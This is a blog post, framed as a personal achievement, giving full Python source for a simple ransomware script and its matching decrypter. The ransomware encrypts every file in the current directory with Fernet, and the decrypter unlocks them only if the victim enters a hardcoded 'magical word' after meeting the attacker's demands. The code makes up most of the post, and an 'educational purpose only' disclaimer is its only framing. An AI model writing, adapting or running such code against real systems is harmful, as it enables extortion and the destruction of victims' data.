Skip to main content

I Created a Ransomware!!!

Hey hi all, so today I have come up with another interesting blog on topic ‘How I created a Ransomware and how I stopped my target from accessing his important files’.
So let’s get started…

 

Ransomware is a type of malicious software (malware) that threatens to publish or blocks access to data or a computer system, usually by encrypting it, until the victim pays a ransom fee to the attacker. In many cases, the ransom demand comes with a deadline. If the victim doesn’t pay in time, the data is gone forever or the ransom increases.

🛑Notice :

⚠️Disclaimer : This blog does not promote or encourage any Illegal activities, all information provided by this blog is meant for educational purpose only. The contributors do not assume any responsibility for the use of this tool.

 

🧑‍🏫Pre-Requisite Knowledge:

  1. Basic idea about Python.
  2. Idea about Ransomware.

So, firstly for creating a ransomware we need to create 2 files, namely ransomware.py and decrypter.py.

The ransomware.py file will contain the malicious coding that will encrypt all the files of your target & and for decrypter.py this file will become the savior for the target, if and only if the target gets the secret code or the magical words from you after fulfilling your demands.

🧑‍💻Coding:

Ransomware.py:

#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
if file == "Ransomware.py" or file == "thekey.key" or file == "decrypter.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)

key = Fernet.generate_key()

with open("thekey.key", "wb") as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)


print("All your files have been encrypted!!")

Decrypter.py

#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
if file == "Ransomware.py" or file == "thekey.key" or file == "decrypter.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)

with open("thekey.key", "rb") as key:
secretkey = key.read()

secretphrase = "VirusZzWarning"
user_phrase = input("Enter the magical word!!\n")

if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("Congrats! You have successfully got back your files")
else:
print("Sorry! Go Learn the Magic word!!")

🥃Screenshots:

Our python files including the file to be emcrypted.
Text before encryption
Encrypting the file
Text after encryption
Decrypting the file with out magical word “VirusZzWarning”

Cheers!❤

-VIRUS_BOSS



Comments